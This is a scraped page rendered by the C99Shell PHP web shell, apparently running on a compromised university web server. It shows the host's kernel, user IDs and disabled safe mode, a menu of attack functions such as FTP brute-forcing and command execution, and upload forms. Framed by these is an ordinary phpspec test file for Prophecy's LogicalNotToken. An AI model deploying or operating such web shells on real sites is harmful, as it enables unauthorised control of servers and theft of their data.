!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpspec/prophecy/spec/Prophecy/Argument/Token/   drwxr-xr-x
Free 117.45 GB of 200.55 GB (58.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     LogicalNotTokenSpec.php (1.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace spec\Prophecy\Argument\Token;

use 
PhpSpec\ObjectBehavior;
use 
Prophecy\Argument\Token\TokenInterface;

class 
LogicalNotTokenSpec extends ObjectBehavior
{
    
/**
     * @param \Prophecy\Argument\Token\TokenInterface $token
     */
    
function let($token)
    {
        
$this->beConstructedWith($token);
    }

    function 
it_implements_TokenInterface()
    {
        
$this->shouldBeAnInstanceOf('Prophecy\Argument\Token\TokenInterface');
    }

    function 
it_holds_originating_token($token)
    {
        
$this->getOriginatingToken()->shouldReturn($token);
    }

    function 
it_has_simple_string_representation($token)
    {
        
$token->__toString()->willReturn('value');
        
$this->__toString()->shouldBe('not(value)');
    }

    function 
it_wraps_non_token_argument_into_ExactValueToken()
    {
        
$this->beConstructedWith(5);
        
$token $this->getOriginatingToken();
        
$token->shouldhaveType('Prophecy\Argument\Token\ExactValueToken');
        
$token->getValue()->shouldBe(5);
    }

    function 
it_scores_4_if_preset_token_does_not_match_the_argument($token)
    {
        
$token->scoreArgument('argument')->willReturn(false);
        
$this->scoreArgument('argument')->shouldBe(4);
    }

    function 
it_does_not_score_if_preset_token_matches_argument($token)
    {
        
$token->scoreArgument('argument')->willReturn(5);
        
$this->scoreArgument('argument')->shouldBe(false);
    }

    function 
it_is_last_if_preset_token_is_last($token)
    {
        
$token->isLast()->willReturn(true);
        
$this->shouldBeLast();
    }

    function 
it_is_not_last_if_preset_token_is_not_last($token)
    {
        
$token->isLast()->willReturn(false);
        
$this->shouldNotBeLast();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0099 ]--